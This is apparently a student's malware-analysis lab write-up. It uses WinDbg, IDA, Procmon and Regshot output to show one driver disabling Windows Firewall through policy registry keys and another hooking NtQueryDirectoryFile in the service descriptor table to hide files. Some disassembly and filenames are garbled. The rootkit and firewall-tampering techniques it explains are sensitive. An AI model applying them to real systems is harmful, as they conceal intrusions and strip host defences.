0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\ConfigFlags	SUCCESS	Type: REG_SZ
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\ClassGUID	SUCCESS	Type: REG_SZ
0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\ClassGUID	SUCCESS	Type: REG_SZ
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\Enum\0	SUCCESS	Type: REG_SZ
0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\Enum\Count	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\Enum\NextInstance	SUCCESS	Type: REG_DWORD

Figure 1. Registry changes

but this is not the case for regshot! There are some HKLM policies added to the machine.

```

File Edit Format View Help
Regshot 1.9.0 x86 Unicode
Comments:
Datetime: 2016/3/8 12:34:24 , 2016/3/8 12:35:23
Computer: USER-FCC21C8345 , USER-FCC21C8345
Username: Administrator , Administrator

Keys added: 18
HKEY\Software\Policies\Microsoft\Windows\firewall\DomainProfile
HKEY\Software\Policy\Microsoft\Windows\firewall\StandardProfile
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\control
HKEY\SYSTEM\ControlSet001\services\Lab10-01
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Security
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Enum
HKEY\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01
HKEY\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000
HKEY\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\control
HKEY\SYSTEM\CurrentControlSet\services\Lab10-01
HKEY\SYSTEM\CurrentControlSet\services\Lab10-01\Security
HKEY\SYSTEM\CurrentControlSet\services\Lab10-01\Enum
HKU\S-1-5-21-1993962763-484061587-682003330-500\Software\Microsoft\Windows\ShellNoRoam\BagMRU\5\2
HKU\S-1-5-21-1993962763-484061587-682003330-500\Software\Microsoft\Windows\ShellNoRoam\Bags\32
HKU\S-1-5-21-1993962763-484061587-682003330-500\Software\Microsoft\Windows\ShellNoRoam\Bags\32\shell

values added: 128
HKEY\Software\Policies\Microsoft\Windows\Firewall\DomainProfile\EnableFirewall: 0x00000000
HKEY\Software\Policies\Microsoft\Windows\Firewall\StandardProfile\EnableFirewall: 0x00000000
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\NextInstance: 0x00000001
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\service: "Lab10-01"
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Legacy: 0x00000001
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\ConfigFlags: 0x00000000
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Class: "LegacyDriver"
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\ClassGUID: "{8cc055d-047f-11d1-a537-0000f8733ed1}"
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\DeviceDesc: "Lab10-01"
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Control\NewlyCreated: 0x00000000
HKEY\SYSTEM\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Control\ActiveService: "Lab10-01"
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Type: 0x00000003
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Start: 0x00000003
HKEY\SYSTEM\ControlSet001\services\Lab10-01\ErrorControl: 0x00000001
HKEY\SYSTEM\ControlSet001\services\Lab10-01\ImagePath: "\??\C:\windows\system32\Lab10-01.sys"
HKEY\SYSTEM\ControlSet001\services\Lab10-01\displayName: "Lab10-01"
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Security\security: 01 00 14 80 90 00 00 00 9C 00 00 00 00 14 00 00 00 30 1
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Enum\0: "Root\LEGACY_LAB10-01\0000"
HKEY\SYSTEM\ControlSet001\services\Lab10-01\Enum\Count: 0x00000001

```

Figure 2. More Registry changes in Regshot

ii. The user-space program calls the ControlService function. Can you set a breakpoint with WinDbg to see what is executed in the kernel as a result of the call to ControlService?



Figure 3. ControlService

The above figure shows the malware opening Lab10-01 service, starting the service and eventually closing it via [ControlService](#); SERVICE_CONTROL_STOP.

breaking the kernel debugger and using the following command !object \Driver shows the loaded drivers...

```

nt!RtlpBreakWithStatusInstruction:
80527bdc cc          int     3
kd> !object \Driver
Object: e101d910  Type: (8a360418) Directory
  ObjectHeader: e101d8f8 (old version)
  HandleCount: 0  PointerCount: 87
  Directory Object: e1001150  Name: Driver

Hash Address   Type           Name
---  ---        ---           ---
 00  8a0fd3a8  Driver         Beep
    8a20c3b0  Driver         NDIS
    8a053438  Driver         KSecDD
  01  8a0ad7d0  Driver         Mouclass
    8a04ae38  Driver         Raspti
    89e28de8  Driver         es1371
  02  89e29bf0  Driver         vmx_svga
  03  89e57b90  Driver         Fips
    8a1f87b0  Driver         Kbdclass
  04  89fe6f38  Driver         VgaSave
    89ee6030  Driver         NDProxy
    8a2a60b8  Driver         Compbatt
  05  8a292ec8  Driver         Ptalink
    8a31e850  Driver         MountMgr
    8a2717e0  Driver         wdmaud
  07  89e0d7a0  Driver         dmload
    8a2b0218  Driver         isapnp
    89e3c2c0  Driver         swmidi
  08  8a28b948  Driver         redbook
    8a1f75f8  Driver         vmmouse
    8a0ed510  Driver         atapi
  09  89e0ea08  Driver         vmscsi
  10  89fe4da0  Driver         IpNat
    8a0e3728  Driver         RasAcd
    8a072d68  Driver         PSched

```

Figure 3. !object \Driver

SERVICE_CONTROL_STOP will call DriverUnload function. To figure out what is the address of DriverUnload function is I would first place a breakpoint on Lab10_01 Driver entry.

```
kd> bu Lab10_01!DriverEntry
```

Note that “-” is converted to “_”. Next we need to step till Lab10_01.sys is loaded. Use step out till you see this **nt!IoPLoadUnloadDriver+0x45**.

```
kd> !object \Driver
```

to list the loaded drivers, then we use display type (dt) to display out the LAB10-01 driver.

```

kd> !object 89d3ada0
Object: 89d3ada0 Type: (8a3275b8) Driver
  ObjectHeader: 89d3ad88 (old version)
  HandleCount: 0 PointerCount: 2
  Directory Object: e101d910 Name: Lab10-01
kd> dt _DRIVER_OBJECT 89d3ada0
nt!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n168
+0x004 DeviceObject : (null)
+0x008 Flags : 0x12
+0x00c DriverStart : 0xbaf7e000 Void
+0x010 DriverSize : 0xe80
+0x014 DriverSection : 0x89e3b630 Void
+0x018 DriverExtension : 0x89d3ae48 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\Lab10-01"
+0x024 HardwareDatabase : 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xbaf7e959 long +0
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : 0xbaf7e486 void +0
+0x038 MajorFunction : [28] 0x804f354a long nt!IoPInvalidDeviceRequest+0

```

Figure 4. dt _DRIVER_OBJECT

In the above image, we can see the address for DriverUnload. Now we just need to set breakpoint on that address as shown below.

```

kd> !object 89d3ada0
Object: 89d3ada0 Type: (8a3275b8) Driver
  ObjectHeader: 89d3ad88 (old version)
  HandleCount: 0 PointerCount: 2
  Directory Object: e101d910 Name: Lab10-01
kd> dt _DRIVER_OBJECT 89d3ada0
nt!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n168
+0x004 DeviceObject : (null)
+0x008 Flags : 0x12
+0x00c DriverStart : 0xbaf7e000 Void
+0x010 DriverSize : 0xe80
+0x014 DriverSection : 0x89e3b630 Void
+0x018 DriverExtension : 0x89d3ae48 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\Lab10-01"
+0x024 HardwareDatabase : 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xbaf7e959 long +0
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : 0xbaf7e486 void +0
+0x038 MajorFunction : [28] 0x804f354a long nt!IoPInvalidDeviceRequest+0
kd> bp 0xbaf7e486
kd> g
Breakpoint 1 hit
Lab10_01+0x486:
baf7e486 bbff nov edi,edi

```

Figure 5. breakpoint unload

Stepping through the functions we will see RtlCreateRegistryKey and RtlWriteRegistryValue being called.

```
kd> p
Lab10_01+0x48d:
baf7e48d 56          push    esi
kd> p
Lab10_01+0x48e:
baf7e48e 8b3580e7f7ba    mov     esi,dword ptr [Lab10_01+0x780 (baf7e780)]
kd> p
Lab10_01+0x494:
baf7e494 57          push    edi
kd> p
Lab10_01+0x495:
baf7e495 33ff        xor     edi,edi
kd> p
Lab10_01+0x497:
baf7e497 68bce6f7ba    push    offset Lab10_01+0x6bc (baf7e6bc)
kd> p
Lab10_01+0x49c:
baf7e49c 57          push    edi
kd> du baf7e6bc
baf7e6bc  "\Registry\Machine\SOFTWARE\Polic"
baf7e6fc  "ies\Microsoft"
kd> t
Lab10_01+0x49d:
baf7e49d 897dfc        mov     dword ptr [ebp-4],edi
kd> t
Lab10_01+0x4a0:
baf7e4a0 ffd6        call    esi
kd> t
nt!RtlCreateRegistryKey:
805ddafe 8bff         mov     edi,edi
```

Figure 6. RtlCreateRegistryKey

The following image is the dissembled code of the driver in IDA Pro. Stepping the above instructions is the same as going through the instructions below.

```

.text:00010486 sub_10486    proc near                ; DATA XREF: sub_10986+810
.text:00010486
.text:00010486     mov    edi, edi
.text:00010486     push   ebp
.text:00010486     mov    ebp, esp
.text:00010486     push   ecx
.text:00010486     push   ebx
.text:00010486     push   esi
.text:00010486     mov    ds:[RtlCreateRegistryKey]
.text:0001048E     push   edi
.text:00010494     push   edi
.text:00010495     xor    edi, edi
.text:00010497     push   offset Path      ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:0001049C     push   edi
.text:0001049D     mov    [ebp+ValueData], edi
.text:000104A0     call   RtlCreateRegistryKey
.text:000104A2     push   offset aRegistryMach_0 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104A7     push   edi
.text:000104A8     call   RtlCreateRegistryKey
.text:000104AA     push   offset aRegistryMach_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104AF     push   edi
.text:000104B0     call   RtlCreateRegistryKey
.text:000104B2     mov    ebx, offset aRegistryMach_2 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104B7     push   ebx
.text:000104B8     push   edi
.text:000104B9     call   RtlCreateRegistryKey
.text:000104B8     mov    esi, ds:[RtlWriteRegistryValue]
.text:000104C1     push   eax
.text:000104C3     lea    eax, [ebp+ValueData]
.text:000104C6     push   eax
.text:000104C7     push   4
.text:000104C9     mov    edi, offset ValueName
.text:000104CE     push   edi
.text:000104CF     push   offset aRegistryMach_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104D4     push   0
.text:000104D6     call   RtlWriteRegistryValue
.text:000104D8     push   4
.text:000104D9     lea    eax, [ebp+ValueData]
.text:000104DD     push   eax
.text:000104DE     push   4
.text:000104E0     push   edi
.text:000104E1     push   ebx
.text:000104E2     push   0
.text:000104E4     call   RtlWriteRegistryValue
.text:000104E6     pop    edi
.text:000104E7     pop    ebx
.text:000104E8     pop    ebx
.text:000104E9     leave
.text:000104EA     retm  4
.text:000104EA sub_10486    endp

```

Figure 7. Lab10-01.sys IDA Pro

iii. What does this program do?

The malware creates a service Lab10-01 that calls the driver located at "c:\windows\system32\Lab10-01.sys". It then starts the service, executing the driver and then stops the driver causing the driver to unload itself. In the driver's unload function the driver attempts to create and write registry key using kernel function call. The following are the registry modification made by the driver.

- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft
- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall
- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile
- **RtlCreateRegistryKey:**
\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile
- **RtlWriteRegistryValue:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewa
l\\DomainProfile - 0 (data)

- `RtlWriteRegistryValue: \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile - 0 (data)`

According to [msdn](#), the above registry modifications will disable Windows Firewall for both the domain and standard profiles on the victim's machine.

b-The file for this lab is Lab10-02.exe

i. Does this program create any files? If so, what are they?

Cerbero Profiler highlighted that the malware contains a PE Resource. Instinct tells me that this malware behaves like a packer and will extract this resource onto the target's machine.




Figure 1. MZ header in resource

Address	Length	Type	String
.rdata:004050EE	00000006	unic...	OP
.rdata:004050F5	00000008	C	(SP)\a\b
.rdata:004050FD	00000007	C	700WP\z
.rdata:0040510C	00000008	C	\b\h\z
.rdata:00405115	0000000A	C	ppxxx\b\z\b
.rdata:00405130	0000000E	unic...	(null)
.rdata:00405140	00000007	C	(null)
.rdata:00405148	0000000F	C	runtime error
.rdata:0040515C	0000000E	C	TLOSS error\r\n
.rdata:0040516C	0000000D	C	SING error\r\n
.rdata:0040517C	0000000F	C	DOMAIN error\r\n
.rdata:0040518C	00000025	C	R6028\r\n- unable to initialize heap\r\n
.rdata:004051B4	00000035	C	R6027\r\n- not enough space for lowio initialization\r\n
.rdata:004051EC	00000035	C	R6026\r\n- not enough space for studio initialization\r\n
.rdata:00405224	00000026	C	R6025\r\n- pure virtual function call\r\n
.rdata:0040524C	00000035	C	R6024\r\n- not enough space for _onexit/atexit table\r\n
.rdata:00405284	00000029	C	R6019\r\n- unable to open console device\r\n
.rdata:004052B0	00000021	C	R6018\r\n- unexpected heap error\r\n
.rdata:004052D4	0000002D	C	R6017\r\n- unexpected multithread lock error\r\n
.rdata:00405304	0000002C	C	R6016\r\n- not enough space for thread data\r\n
.rdata:00405330	00000021	C	\r\nabnormal program termination\r\n
.rdata:00405354	0000002C	C	R6009\r\n- not enough space for environment\r\n
.rdata:00405380	0000002A	C	R6008\r\n- not enough space for arguments\r\n
.rdata:004053AC	00000025	C	R6002\r\n- floating point not loaded\r\n
.rdata:004053D4	00000025	C	Microsoft Visual C++ Runtime Library
.rdata:00405400	0000001A	C	Runtime Error\r\n\r\nProgram:
.rdata:00405420	00000017	C	<program name unknown>
.rdata:00405438	00000013	C	GetLastActivePopup
.rdata:0040544C	00000010	C	GetActiveWindow
.rdata:0040545C	0000000C	C	MessageBoxA
.rdata:00405468	00000008	C	user32.dll
.rdata:00405602	0000000D	C	KERNEL32.dll
.rdata:0040565A	0000000D	C	ADVAPI32.dll
.rdata:00406030	0000001A	C	Failed to start service.\r\n
.rdata:0040604C	00000018	C	Failed to create service.\r\n
.rdata:00406068	0000000E	C	486 WS Driver
.rdata:00406078	00000021	C	Failed to open service manager.\r\n
.rdata:0040609C	00000020	C	C:\Windows\System32\mlwx486.sys
.rdata:004060BC	00000005	C	FILE

Figure 2. IDA Pro's string

"C:\\Windows\\System32\\mlwx486.sys" seems suspicious. xRef this string might help us to solve this problem.

```

push    ecx
push    ebx
push    esi
push    edi
push    offset Type      ; "FILE"
push    65h                ; lpName
push    0                  ; hModule
call    ds:FindResourceA
mov     edi, eax
push    edi                ; hResInfo
push    0                  ; hModule
call    ds:LoadResource
test   edi, edi
mov     ebx, eax
jz     loc_4010FF

```



```

push    0                  ; hTemplateFile
push    FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push    CREATE_ALWAYS       ; dwCreationDisposition
push    0                  ; lpSecurityAttributes
push    0                  ; dwShareMode
push    0C0000000h          ; dwDesiredAccess
push    offset BinaryPathName ; "C:\\Windows\\System32\\Miwx486.sys"
call    ds>CreateFileA
mov     esi, eax
cmp     esi, 0FFFFFFFh
jz     loc_4010FF

```



```

lea     eax, [esp+10h+NumberOfBytesWritten]
push    0                  ; lpOverlapped
push    eax                ; lpNumberOfBytesWritten
push    edi                ; hResInfo
push    0                  ; hModule
call    ds:SizeofResource
push    eax                ; nNumberOfBytesToWrite
push    ebx                ; lpBuffer
push    esi                ; hFile
call    ds:WriteFile
push    esi                ; hObject
call    ds:CloseHandle

```

Figure 3. Extract Resource

In the main method, we can see that the code is trying to extract the FILE resource into “C:\\Windows\\System32\\Miwx486.sys”.

```

call ds:WriteFile
push esi ; hObject
call ds:CloseHandle ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call ds:OpenSCManagerA
test eax, eax
short loc_401097

; service manager.\n"

loc_401097: ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpLoadOrderGroup
push offset BinaryPathName ; "C:\Windows\System32\MIwx486.sys"
push 1 ; dwErrorControl
push SERVICE_DEMAND_START ; dwStartType
push SERVICE_KERNEL_DRIVER ; dwServiceType
push 0FFh ; dwDesiredAccess
push offset DisplayName ; "486 WS Driver"
push offset DisplayName ; "486 WS Driver"
push eax ; hSCManager
call ds>CreateServiceA
mov esi, eax
test esi, esi
jnz short loc_4010DC

push offset aFailedToCreate ; "Failed to create service.\n"
call _printf
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret

```

```

loc_4010DC: ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push esi ; hService
call ds:StartServiceA
test eax, eax
jnz short loc_4010FB

```

After extracting the driver, the malware then goes on to create a service (486 WS Driver) and start it using StartServiceA.



Using Proc mon we can observe that WriteFile to "C:\\Windows\\System32\\MIwx486.sys" was captured by the tool.

ii. Does this program have a kernel component?

Attempts to locate the dropped driver in system32 folder was fruitless. Somehow the file is not in the folder. So instead I decided to extract the driver out from the resource directly. Firing up IDA Pro we can see DriverEntry function suggesting that this executable is a driver.

iii. What does this program do?

DriverEntry leads us to the following subroutine in IDA Pro (0x10706). The malware is attempting to change the flow of the kernel Service Descriptor Table and the target that it is attempting to hook is the NtQueryDirectoryFile. The malware calls MmGetSystemRoutineAddress to get the pointer to the NtQueryDirectoryFile and KeServiceDescriptorTable subroutine. Then it loops through the service descriptor table looking

for the address of NtQueryDirectoryFile. Once found, it will overwrite the address with the evil hook (custom subroutine).

```
sub_10706 proc near

SystemRoutineName= UNICODE_STRING ptr -10h
DestinationString= UNICODE_STRING ptr -8

mov     edi, edi
push    ebp
mov     ebp, esp
sub    esp, 10h
push    esi
mov     esi, ds:RtlInitUnicodeString
push    edi
push    offset aNtquerydirectory ; "NtQueryDirectoryFile"
lea     eax, [ebp+DestinationString]
push    eax           ; DestinationString
call    esi : RtlInitUnicodeString
push    offset aKeServiceDescriptorTable ; "KeServiceDescriptorTable"
lea     eax, [ebp+SystemRoutineName]
push    eax           ; DestinationString
call    esi : RtlInitUnicodeString
mov     esi, ds:HmGetSystemRoutineAddress
lea     eax, [ebp+DestinationString]
push    eax           ; SystemRoutineName
call    esi : HmGetSystemRoutineAddress
mov     edi, eax
lea     eax, [ebp+SystemRoutineName]
push    eax           ; SystemRoutineName
call    esi : HmGetSystemRoutineAddress
mov     eax, [eax]
xor    ecx, ecx
```




Figure 6. Evil Hook

```

.....
.text:00010486        mov    edi, edi
.text:00010488        push   ebp
.text:00010489        mov    [ebp], esp
.text:0001048B        push   esi
.text:0001048C        mov    esi, [ebp+FileInfo]
.text:0001048F        push   edi
.text:00010490        push   dword ptr [ebp+RestartScan] ; RestartScan
.text:00010493        push   [ebp+FileName] ; FileName
.text:00010496        push   dword ptr [ebp+ReturnSingleEntry] ; ReturnSingleEntry
.text:00010499        push   [ebp+FileInformationClass] ; FileInformationClass
.text:0001049C        push   [ebp+FileInformationLength] ; FileInformationLength
.text:0001049F        push   esi ; FileInformation
.text:000104A0        push   [ebp+IoStatusBlock] ; IoStatusBlock
.text:000104A3        push   [ebp+ApcContext] ; ApcContext
.text:000104A6        push   [ebp+ApcRoutine] ; ApcRoutine
.text:000104A9        push   [ebp+Event] ; Event
.text:000104AC        push   [ebp+FileHandle] ; FileHandle
.text:000104AF        call   HtQueryDirectoryFile
.text:000104B4        xor    edi, edi
.text:000104B6        cmp    [ebp+FileInformationClass], 3
.text:000104B8        mov    dword ptr [ebp+RestartScan], eax
.text:000104BD        jnz   short loc_10505
.text:000104BF        test   eax, eax
.text:000104C1        jl    short loc_10505
.text:000104C3        cmp    [ebp+ReturnSingleEntry], 0
.text:000104C7        jnz   short loc_10505
.text:000104C9        push   ebx
.text:000104CA        push   8 ; Length
.text:000104CA        push   offset aH ; Source2
.text:000104CC        lea    eax, [esi+5Eh]
.text:000104D1        push   eax ; Source1
.text:000104D4        xor    bl, bl
.text:000104D7        call   ds:RtlCompareMemory
.text:000104DD        cmp    eax, 8
.text:000104E0        jnz   short loc_104F4
.text:000104E2        inc    bl
.text:000104E4        test   edi, edi
.text:000104E6        jz    short loc_104F4
.text:000104E8        mov    eax, [esi]
.text:000104EA        test   eax, eax
.text:000104EC        jnz   short loc_104F2
.text:000104EE        and    [edi], eax
.text:000104F0        jmp    short loc_104F4
.text:000104F2        :

```

; CODE XREF: sub_10486+7C↓j

Figure 6. NTQueryDirectoryFile

In the driver, `NTQueryDirectoryFile` function is used. According to [msdn](#), this function returns various kinds of information about files in the directory specified by a given file handle. Further down, we can see that `RtlCompareMemory` is called. A comparison was made between the filename and the following string “`Mlxw`”. If it matches, the file will be hidden.

```

.....
.text:0001051A aM        db 'M',0
.text:0001051C        db 'l',0
.text:0001051E aW        db 'w',0
.text:00010520        db 'x',0
.text:00010522        db 0
.text:00010523        db 0
.text:00010524 _text      align 80h
.ends

```

Figure 7. Mlxw string

To see all this win action, fire up Windbg and attach it to the kernel.

use the following command to list the service descriptor table. This table has yet been tampered with...

kd> dps nt!KiServiceTable l 100

Command
80501d48 8061c44c nt!NtNotifyChangeKey
80501d4c 8061b09c nt!NtNotifyChangeMultipleKeys
80501d50 805b3d40 nt!NtOpenDirectoryObject
80501d54 80605224 nt!NtOpenEvent
80501d58 8060d49e nt!NtOpenEventPair
80501d5c 8056f39a nt!NtOpenFile
80501d60 8056dd32 nt!NtOpenIoCompletion
80501d64 805cba0e nt!NtOpenJobObject
80501d68 8061b658 nt!NtOpenKey
80501d6c 8060d896 nt!NtOpenMutant
80501d70 805ea704 nt!NtOpenObjectAuditAlarm
80501d74 805c1296 nt!NtOpenProcess
80501d78 805e39fc nt!NtOpenProcessToken
80501d7c 805e3660 nt!NtOpenProcessTokenEx
80501d80 8059f722 nt!NtOpenSection
80501d84 8060b254 nt!NtOpenSemaphore
80501d88 805b977a nt!NtOpenSymbolicLinkObject
80501d8c 805c1522 nt!NtOpenThread
80501d90 805e3ala nt!NtOpenThreadToken
80501d94 805e37d0 nt!NtOpenThreadTokenEx
80501d98 8060d1b0 nt!NtOpenTimer
80501d9c 8063bc78 nt!NtPlugPlayControl
80501da0 805bf346 nt!NtPowerInformation
80501da4 805edde nt!NtPrivilegeCheck
80501da8 805e9a16 nt!NtPrivilegeObjectAuditAlarm
80501dac 805e9c02 nt!NtPrivilegedServiceAuditAlarm
80501db0 805ada08 nt!NtProtectVirtualMemory
80501db4 806052dc nt!NtPulseEvent
80501db8 8056c0ce nt!NtQueryAttributesFile
80501dbc 8060cb50 nt!NtSetBootEntryOrder
80501dc0 8060cb50 nt!NtSetBootEntryOrder
80501dc4 8053c02e nt!NtQueryDebugFilterState
80501dc8 80606e68 nt!NtQueryDefaultLocale
80501dcc 80607ac8 nt!NtQueryDefaultUILanguage
80501dd0 8056f074 nt!NtQueryDirectoryFile
80501dd4 805b3de0 nt!NtQueryDirectoryObject
80501dd8 8056f3ca nt!NtQueryEaFile
80501ddc 806053a4 nt!NtQueryEvent
80501de0 8056c222 nt!NtQueryFullAttributesFile
80501de4 8060c2dc nt!NtQueryInformationAtom
80501de8 8056fc46 nt!NtQueryInformationFile
80501dec 805cbee0 nt!NtQueryInformationJobObject
80501df0 8059a6fc nt!NtQueryInformationPort
80501df4 805c2bfc nt!NtQueryInformationProcess
80501df8 805c17c8 nt!NtQueryInformationThread
80501dfc 805e3afa nt!NtQueryInformationToken
80501e00 80607266 nt!NtQueryInstallUILanguage
80501e04 8060e060 nt!NtQueryIntervalProfile
80501e08 8056ddda nt!NtQueryIoCompletion
80501e0c 8061b97e nt!NtQueryKey
80501e10 806193d4 nt!NtQueryMultipleValueKey

kd>

Figure 8. Default Service Descriptor Table

Set breakpoint by using this command `bu !Mlx486!DriverEntry`. Run Lab10-02.exe and windbg should break. Set breakpoint at `nt!IopLoadDriver+0x66a` and let the program run again. Once the kernel breaks, you will be able to run `!object \Driver` to list the loaded drivers. DriverInit for the malware has yet been executed at this stage so you can set your breakpoint from this point on.

```
nt!DbgLoadImageSymbols+0x42:
80527e02 c9          leave
kd> gu
nt!MmLoadSystemImage+0xa80:
805a41f4 804b3610      or      byte ptr [ebx+36h].10h
kd> gu
nt!IopLoadDriver+0x371:
80576483 3bc3        cmp     eax, ebx
kd> gu
nt!IopLoadUnloadDriver+0x45:
8057688f 8bf8        mov     edi, eax
kd> !object \Driver
Object: e101d910 Type: (8a360418) Directory
  ObjectHeader: e101d8f8 (old version)
  HandleCount: 0 PointerCount: 85
  Directory Object: e1001150 Name: Driver
  Hash Address Type Name
  ---  ---
  00 8a0f46e8 Driver Beep
  8a0eb1e0 Driver NDIS
  8a0ebd28 Driver KSecDD
  01 8a191520 Driver Mouclass
  89de1030 Driver Raspti
  89e43eb0 Driver es1371
  02 8a252c98 Driver vmx_svga
  03 8a0a34a0 Driver Fins
kd>
```

Figure 9. Break @ DriverEntry

```
kd> dt _DRIVER_OBJECT 09ed43b8
_ntdll!_DRIVER_OBJECT
+0x000 Type          : 0x4
+0x002 Size          : 0x168
+0x004 DeviceObject  : (null)
+0x008 Flags          : 0x12
+0x00c DriverStart    : 0xbafe6000 Void
+0x010 DriverSize    : 0xd80
+0x014 DriverSection  : 0x89ed7c00 Void
+0x018 DriverExtension: 0x89ed4460 DRIVER_EXTENSION
+0x01c DriverName     : _UNICODE_STRING "\Driver\!Mlx486"
+0x024 HardwareDatabase: 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch  : (null)
+0x02c DriverInit     : 0xbafe67ab long +
+0x030 DriverStartIo  : (null)
+0x034 DriverUnload   : (null)
+0x038 MajorFunction  : [28] 0x804f354a long nt!IopInvalidDeviceRequest+0
kd> u 0xbafe67ab
Mlx486+0x7ab:
bafe67ab bbf      scv    edi,edi
bafe67ad 55       push   ebp
bafe67ae 8bec    scv    ebp,esp
bafe67b0 ebdfffff call   Mlx486+0x772 (bafe6772)
bafe67b5 5d       pop    ebp
bafe67b6 e94bfffff jnp   Mlx486+0x706 (bafe6706)
bafe67bb cc       int    3
bafe67bc 4b       dec    ebx
```

Figure 10. DriverInit

```

INIT:BAFE67AB : NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
INIT:BAFE67AB             public DriverEntry
INIT:BAFE67AB DriverEntry proc near           ; DATA XREF: HEADER:BAFE6288F0
INIT:BAFE67AB
INIT:BAFE67AB     - dword ptr 8
INIT:BAFE67AB RegistryPath = dword ptr 0Ch
INIT:BAFE67AB
INIT:BAFE67AB     mov    edi, edi
INIT:BAFE67AD     push   ebp
INIT:BAFE67AE     mov    ebp, esp
INIT:BAFE67B0     call   sub_BAFE6772
INIT:BAFE67B5     pop    ebp
INIT:BAFE67B6     jmp    sub_BAFE67B6
INIT:BAFE67B6 DriverEntry endp
INIT:BAFE67B6

```

Figure 11. DriverEntry

From Figure 10 & 11, we can see that DriverInit is actually DriverEntry in IDA Pro.

running kd> dps nt!KiServiceTable l 100 now shows that the service descriptor table has been modified.

```

00000000 00000000 0000000000000000
80501dc0 8060cb50 nt!NtSetBootEntryOrder
80501dc4 8053c02e nt!NtQueryDebugFilterState
80501dc8 80606e68 nt!NtQueryDefaultLocale
80501dcc 80607ac8 nt!NtQueryDefaultUILanguage
80501dd0 baecb486 Mlwx486+0x486
80501dd4 805b3de0 nt!NtQueryDirectoryObject
80501dd8 8056f3ca nt!NtQueryEaFile
80501ddc 806053a4 nt!NtQueryEvent
80501de0 8056c222 nt!NtQueryFullAttributesFile
80501de4 8060c2dc nt!NtQueryInformationAtom
80501de8 8056fc46 nt!NtQueryInformationFile
80501dec 805cbee0 nt!NtQueryInformationJobObject
80501df0 8059a6fc nt!NtQueryInformationPort
80501df4 805c2bfc nt!NtQueryInformationProcess
80501df8 805c17c8 nt!NtQueryInformationThread
80501dfa 805e3afa nt!NtQueryInformationToken
kd>

```

Figure 12. Service Descriptor Table modified

To conclude, the malware uses ring 0 rootkit to hide files that starts with “Mlwx” via hooking of the service descriptor table.

Practical No. 5

a-Analyze the malware found in Lab11-01.exe

i. What does the malware drop to disk?




